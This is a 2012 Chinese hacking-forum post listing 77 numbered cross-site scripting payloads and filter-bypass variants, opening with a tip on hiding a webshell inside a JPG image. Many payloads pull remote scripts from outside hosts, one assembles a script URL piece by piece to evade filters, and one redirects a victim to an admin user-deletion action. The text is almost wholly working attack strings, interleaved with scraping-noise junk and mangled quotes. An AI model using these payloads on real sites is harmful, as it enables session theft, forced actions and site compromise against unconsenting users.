找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2382|回复: 0
打印 上一主题 下一主题

xss详细利用大全1

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:04:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
跨站图片shell
# Y$ j! n0 H1 T! L0 K/ wXSS跨站代码  <script>alert("")</script>2 i$ l  s+ D+ P  S0 L( V% Q8 d
; ?& z1 A* P7 H$ E- `
将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马
+ S4 k, j2 K  ?
9 o, j; g+ g$ Q2 s! s1 h, M4 {% y: t' a/ ~' }

6 a( p, n; O2 M: H0 _' N  i* u1)普通的XSS JavaScript注入
' _3 F. d# Y8 R. i3 b<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>0 F$ y2 M; z: r! {

3 Q  }9 ?: [2 h9 q/ U9 e(2)IMG标签XSS使用JavaScript命令7 `; g' }! ^  e5 _2 d* {, T# ^
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>7 q8 Y" W0 ?+ P$ J7 `8 G/ ?, V

% s* {, s+ X& W$ S: `5 _(3)IMG标签无分号无引号+ E. T7 T5 Q& Z2 M4 b8 {8 _6 ~
<IMG SRC=javascript:alert(‘XSS’)>
+ P- M. L6 Q4 x. B& Z, r0 `5 B2 Y4 ?; X9 V4 a. ~+ X) w
(4)IMG标签大小写不敏感
5 J# U7 w! j& ~$ Y+ m$ d, d4 ~5 D9 b<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
( f% X$ Z  J  h- u, y1 Y" O' T: u
(5)HTML编码(必须有分号)
. H/ R* J- w* [" T0 T! u  S. h8 s<IMG SRC=javascript:alert(“XSS”)>/ |  [" W6 r8 m3 Y& J$ ?7 ?9 g& _
8 o  L( a4 A( d
(6)修正缺陷IMG标签
/ d3 w) J" w! ?8 E1 p. ^<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
4 i4 q/ s0 a% k. [9 a9 Y) X6 M$ q" J4 H
(7)formCharCode标签(计算器)
4 \2 g1 P3 x. a- e; o# O7 `/ C<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))># j/ V( W  \) Y: W; F

/ e: r, t5 g6 B% t(8)UTF-8的Unicode编码(计算器)
4 r2 b( e0 e, \9 w- L5 E3 P' @5 r+ t% Z* C3 u<IMG SRC=jav..省略..S')>: j7 r0 N1 ]2 E, P- {' B& t

* q, ~, k6 F' ](9)7位的UTF-8的Unicode编码是没有分号的(计算器); u5 ~' `4 d* j: t! q
<IMG SRC=jav..省略..S')>& r% R- w9 {& |2 K- D" X3 v: b

" R: a& z7 U- M' a7 w* t(10)十六进制编码也是没有分号(计算器)" C1 H3 Z' R4 u
<IMG SRC=&#x6A&#x61&#x76&#x61..省略..&#x58&#x53&#x53&#x27&#x29>
4 O. q4 T9 L/ F/ k3 D. C* h+ [7 t* v' [* w* j
(11)嵌入式标签,将Javascript分开
% O* V) ?& K; e  `: |<IMG SRC=”jav ascript:alert(‘XSS’);”>
; k6 T3 L% v, D) A: |4 l$ w
0 a+ s. L0 {' O+ S5 x2 W7 q' a(12)嵌入式编码标签,将Javascript分开
; g1 s* W6 b* H<IMG SRC=”jav ascript:alert(‘XSS’);”>6 p# F, y: n& g2 w* l& Z. }7 R# P
9 f% Q2 R/ X# d5 a) R+ [! h3 f1 t
(13)嵌入式换行符
. r- w9 P8 I5 s: C; Q9 q/ P<IMG SRC=”jav ascript:alert(‘XSS’);”>) V; ]2 c8 f7 e' A) `
* O5 v" t$ W1 J
(14)嵌入式回车
/ ^% n3 S1 R1 O0 ]! g; j1 k<IMG SRC=”jav ascript:alert(‘XSS’);”>* T2 u4 o# ^6 h; B5 |  q
7 F# S( o) Y1 Y* w, c8 s4 `8 [
(15)嵌入式多行注入JavaScript,这是XSS极端的例子3 \) a" p0 H+ t) q8 i9 M2 w
<IMG SRC=”javascript:alert(‘XSS‘)”>
) U' @9 C0 ]6 E* t$ j
( \9 K( A" t; A& m; Z  r(16)解决限制字符(要求同页面)3 n- g8 t! B5 ?2 f9 @
<script>z=’document.’</script>
* V1 Q- s. m  K# E' P5 l<script>z=z+’write(“‘</script>- T, \  S' H* ]
<script>z=z+’<script’</script>9 L) u6 X/ I6 w$ |3 K8 h- `! Z6 N7 |
<script>z=z+’ src=ht’</script>0 I. z/ z+ G4 y. s- n0 b
<script>z=z+’tp://ww’</script>
9 V9 N0 y- \* {3 o3 j& a0 @% O<script>z=z+’w.shell’</script>
# l# y  V8 g% _7 a3 W; V<script>z=z+’.net/1.’</script>: m% z; x: @3 x- F4 j
<script>z=z+’js></sc’</script>
4 C$ X4 x8 i- {" A$ W<script>z=z+’ript>”)’</script>
) o+ H. E5 w9 E5 i+ w% ]$ _9 S<script>eval_r(z)</script>
+ r/ i# b; X/ {# ]
! O8 o# O; |- W* V7 M(17)空字符4 j8 i+ Q) }' P8 M5 O  [( n4 b4 }2 m
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
. [8 j& ^2 d% e0 X" s, Z. v' C: w! P
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
; e3 N9 _8 i$ e) Uperl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
3 f1 d9 i8 I" Y/ e' b" K4 J% ]2 d: A3 g0 Y6 r5 [
(19)Spaces和meta前的IMG标签
3 ~3 z, j2 ]3 x' E8 Y6 I<IMG SRC=” javascript:alert(‘XSS’);”># x" M9 v' j; N% u! T
. O+ V7 |0 \' S- b# o
(20)Non-alpha-non-digit XSS
/ ^" R0 g3 P2 i3 Z; F$ A<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
5 n" Q* L. v; R& q5 y
: ?( l0 u% o# j(21)Non-alpha-non-digit XSS to 2
8 U& c6 E! x9 P- z( l4 B, ]" O: \<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>" }3 r1 H3 w. S9 ?

7 K5 w, m6 [& W, `(22)Non-alpha-non-digit XSS to 3
/ x" G5 M! U: i6 L5 i  G8 [5 D& R<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>$ a/ v0 @- L1 m& n7 q

( l5 h, q/ |. H(23)双开括号
8 H9 q" X! o3 x, D+ W6 s<<SCRIPT>alert(“XSS”);//<</SCRIPT>
8 ~: r& w+ t. P& y/ y
; _, u0 C% \8 i: N) b(24)无结束脚本标记(仅火狐等浏览器)
6 {. k8 s3 k/ n6 O0 v. [2 |! \5 F<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
1 x1 m; A! e8 i. z9 [
, a( h& G4 g- H- A5 D# l(25)无结束脚本标记2" O1 \/ c7 D3 G+ D
<SCRIPT SRC=//3w.org/XSS/xss.js>
8 c8 D: |3 r' b$ z5 m0 X3 V2 `' ]! ?& d) V0 R
(26)半开的HTML/JavaScript XSS; |! ^6 k! S3 k4 p( y& \
<IMG SRC=”javascript:alert(‘XSS’)”4 b4 X9 D5 v5 F$ m7 `7 B! f

2 S! A1 U# S) V1 n# ^+ s(27)双开角括号' O! N1 b4 |6 q
<iframe src=http://3w.org/XSS.html <
: |( w- c* W; \1 u) a8 M, q7 A6 a
' `8 K: }( {% d(28)无单引号 双引号 分号& H  X. [& \, L8 E
<SCRIPT>a=/XSS/
) ]! m) o& [% `* \alert(a.source)</SCRIPT>8 U8 }2 A% J! W
  k! E- A5 {3 w: o! ]4 A
(29)换码过滤的JavaScript. m  u+ Q7 Z5 D- N) H  \
\”;alert(‘XSS’);//
6 v$ `6 v) z7 l' E' U6 F$ b1 N, @6 @' h; X- O/ ?+ H& E- M3 x
(30)结束Title标签
0 q6 j" e" F! q8 t$ _1 G</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>$ o, ?; r" h! M
* y* e1 W4 G) `. a: G1 N( Z
(31)Input Image
6 D8 X8 ^" b$ h" v  Y8 V<INPUT SRC=”javascript:alert(‘XSS’);”>7 d* s) z( W# s. g# B8 t
" z; e" C8 w* b" x
(32)BODY Image% n7 S+ u2 J* K5 |- e0 c
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
0 I1 l$ u( Y9 N; Z) C/ j7 v% S1 _  x1 u$ n0 L) u7 Y
(33)BODY标签
; b! E/ p% D" L! u3 u* k( f+ x4 V4 T<BODY(‘XSS’)>
- q+ Q$ k; `: m: x/ J9 B
, }8 O9 g. o; V4 S# F(34)IMG Dynsrc
* B2 F0 N* s* s. l2 ^# S<IMG DYNSRC=”javascript:alert(‘XSS’)”>) O1 U4 d! g$ j$ [
6 Z, q1 l& q2 Z
(35)IMG Lowsrc* S9 K6 x$ t+ m" ]2 o. t6 z: _  v
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
6 I- l( j5 L! a
8 i! f+ _7 v! j, w7 ?' Q# m(36)BGSOUND
( |9 E( U) V9 ^; Z<BGSOUND SRC=”javascript:alert(‘XSS’);”>0 s4 R0 `# O4 K( b
* f# F; I' V: W- g6 `( \
(37)STYLE sheet' N+ N2 }. k" F1 }1 M6 t3 ~9 i/ ]
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>8 Z  D# Q* p( [& P+ `9 N* s6 Y' ~
+ k" C. O3 S9 h6 N
(38)远程样式表
4 T- b. h3 `- ~0 }<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
$ u, C% a8 N$ K  C
7 U/ [3 w9 P( V( x6 `1 Z(39)List-style-image(列表式)9 [. n$ P8 g6 L. @
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
8 }0 c5 x/ Y+ |4 O* f" c* P: W: [1 U3 }
(40)IMG VBscript
/ e1 ?, m0 U$ P<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS; T. U% U# i, W8 E/ O
# l5 o% B$ _" G. K4 }5 H
(41)META链接url
" ]" Z+ k2 l$ I7 u9 V+ _<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
* Q# g( k% A. F2 `* ~8 j, r
2 V& N- B( `) l(42)Iframe
' K- u( s  Y/ \. C) ]/ T% |<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
. Q. t  ]2 c; ]6 d) J( s3 ?& `(43)Frame
- n3 b" W  Z' _+ A# }8 m" [<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
* j9 L2 K/ T& Q/ n: U! a9 ^3 D" H& f# C; H, N# M& h" i$ k# k
(44)Table0 x3 ~: v7 c. W* `0 `+ H" ~
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>. x8 s3 z! L  C# ^' o) R* ~8 D
5 |; J/ [8 ^5 M
(45)TD8 n+ F% K6 p* }5 T# F
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
7 ~  o+ b, o& u% J0 k
$ P5 D+ r( A8 W! n# ?1 d* c(46)DIV background-image- [# i% Q. S7 s1 u' F! \
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>9 @* m, r) c* M
6 s1 c2 D5 c7 ]
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
( w. i( C, Y' o& }0 E4 t) b, E<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
7 k3 v( C. D$ B0 g
/ P: R; E& x" I1 y(48)DIV expression
, {/ s0 C3 T" Q<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
3 a9 e2 b# s) x- l% o! K  Y8 t- G; m3 G" P- \& }
(49)STYLE属性分拆表达
5 s/ K! h5 P, x0 U/ A" s6 b6 x" e<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>, R+ {! Q7 G' B- s0 Q

. T5 p: c9 G" t(50)匿名STYLE(组成:开角号和一个字母开头)& Z" ?% C1 ^& S* P) F; H
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
- V/ Z! J, ~# ?& ?5 u
8 k+ O9 \9 [1 V' h0 n(51)STYLE background-image
  C( o7 d) s! \# J, w8 E$ ~<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
1 T5 v, G. P8 G; M0 D
1 N+ w  L+ ^; J( F% H(52)IMG STYLE方式
+ a& F1 {, ]+ f8 pexppression(alert(“XSS”))’>3 _2 r6 d5 V/ ?4 _4 E

4 I, J, g) V5 t5 `(53)STYLE background
1 r% R$ D: g& |4 X. h0 P& `<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
. J4 h4 G- m9 X/ H. W' m1 o: X
" o+ }  {5 U; r, X: M  _(54)BASE9 m, y7 s! Y) y( i/ h- \0 P$ l
<BASE HREF=”javascript:alert(‘XSS’);//”>
4 E( R, @4 ^3 v9 P& j) f0 W# z( N$ J$ i* i
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
8 k9 d' v$ c' V$ c$ k/ y<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
0 u8 c% x, z" U" r* C5 _$ M  g& ~: _1 K  [9 R
(56)在flash中使用ActionScrpt可以混进你XSS的代码
1 s& A+ W) y) f6 {' ua=”get”;. w- m7 D: l/ X( x' d
b=”URL(\”";
& e* Z9 e7 c9 }7 q/ z6 A( C+ wc=”javascript:”;
* z, V- q% A- C5 r7 b5 _d=”alert(‘XSS’);\”)”;
' ?. d0 V0 ?4 @3 ]2 W. D7 T9 ^eval_r(a+b+c+d);9 R& }6 R! l' \2 G: Q% b

' ]; |! t% a: I2 v+ L! e5 I(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
5 W$ Q: E. @9 Z% f5 b<HTML xmlns:xss>
! t0 S# K% B, f$ A- @<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
* c5 a, m; g* F7 |1 ]$ ^' b<xss:xss>XSS</xss:xss>
5 g' R6 @& E2 p0 g$ S! A2 z$ j</HTML>3 x; {+ Y/ O8 [# ?9 h& ^

, ]2 y9 f3 y/ u(58)如果过滤了你的JS你可以在图片里添加JS代码来利用$ S4 \4 d7 C5 M$ L8 {- G4 n6 ], \
<SCRIPT SRC=””></SCRIPT>
  `9 b$ M8 n+ s/ _3 C
4 A2 C+ H3 w% c% [(59)IMG嵌入式命令,可执行任意命令, ]" {  Z3 z4 j5 M* J
<IMG SRC=”http://www.XXX.com/a.php?a=b”>4 {3 v* V6 f& u0 d- ]$ \

" C/ u7 D) ?2 {  a) d* i" j(60)IMG嵌入式命令(a.jpg在同服务器)% E2 {- H1 c; P+ N
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser9 ^  n% }7 b# W+ K- ?2 P2 f

# a! y2 F2 e) `(61)绕符号过滤
4 W3 s/ ?* m. G9 L: I) A<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>3 a( V) \" |' ?$ R: u5 x6 S
; t+ `) \4 A  _6 Q) {6 h
(62)
8 M! P2 ?* o! o8 t! ~<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>. P" E1 w* t' C& O6 X% A$ j/ U

( H- h3 c' h# F5 u9 d(63)
1 _& V, ^1 Q% c8 ^/ E* K  J/ y<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
% \  U5 [4 K4 l6 s
" r3 @6 I0 X8 I5 J(64)
- d/ }8 ^6 V; S7 Y<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>3 s" |- e' o! [: a" n; }: n! z' {* s

" p- h) y$ R% B' \- |# Z0 ](65)% Z! J" l! h" C/ D
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
1 m4 {7 o1 l3 l% |1 n1 s( G
$ n( h1 p" w/ X1 Z( X(66)
% j- T8 b: J+ G<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
# T1 |; {* ^+ P: ~+ w4 r" G* z
- E+ d* M" n+ E+ x" q; G, S$ K# j(67)
. C8 }' o: l8 ?& k<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>
6 V1 \/ U0 R  E1 @: W" ~, K1 x. ~3 Z7 X  P, W8 T3 I( }
(68)URL绕行7 B. s$ Z" {4 H3 K2 G
<A HREF=”http://127.0.0.1/”>XSS</A>9 l( ]" N0 n$ t5 L$ n
; ~/ _( W: r, f# P; z6 [- U
(69)URL编码: j2 q8 K. y% o, K" z
<A HREF=”http://3w.org”>XSS</A>
9 V5 L' O/ U5 {$ y  U
. C- S3 y/ c+ v: }# x" P7 K* W(70)IP十进制
( |: e7 k7 n  j. o& e$ i<A HREF=”http://3232235521″>XSS</A>
( ~7 }4 H8 \( [9 h* W4 B% \+ R$ c5 M/ P* w
(71)IP十六进制
1 x3 [' {; B; k" u6 g* E6 U<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
# k$ \: C8 H; ~  H0 i1 |
# R; l3 o2 A% v  n5 u* E& v0 I(72)IP八进制
3 F! z) @% R% B' b<A HREF=”http://0300.0250.0000.0001″>XSS</A>* A) h* F4 S8 ]- q

, O% x3 p- Z8 H3 S: Q(73)混合编码3 x' F: }+ I6 l; H
<A HREF=”h6 G) a5 Y" Z) Y2 E1 u
tt p://6 6.000146.0×7.147/”">XSS</A>1 P' e" T# Y7 l6 K& K
' i$ d% K- o" S# _
(74)节省[http:]
! N  v' ]" ~8 C9 w- ^<A HREF=”//www.google.com/”>XSS</A>
- C( h0 K' b! W! y3 [; e
) t/ V' N+ D! x0 O' x(75)节省[www]! O, v$ N* Y( [/ c# z9 G6 K
<A HREF=”http://google.com/”>XSS</A>7 B: c5 C8 @2 o, g+ u  [
. F, k, q! ?2 o6 {
(76)绝对点绝对DNS) N5 w9 {! |9 J/ V' p9 p3 c
<A HREF=”http://www.google.com./”>XSS</A>/ F1 h4 g  R! C0 F2 l/ g; q

' c! c5 N3 r% P9 S" g(77)javascript链接
4 I' {- ]5 F" O% J/ Z<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>9 w6 Q' h. q" ^( q% o. V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表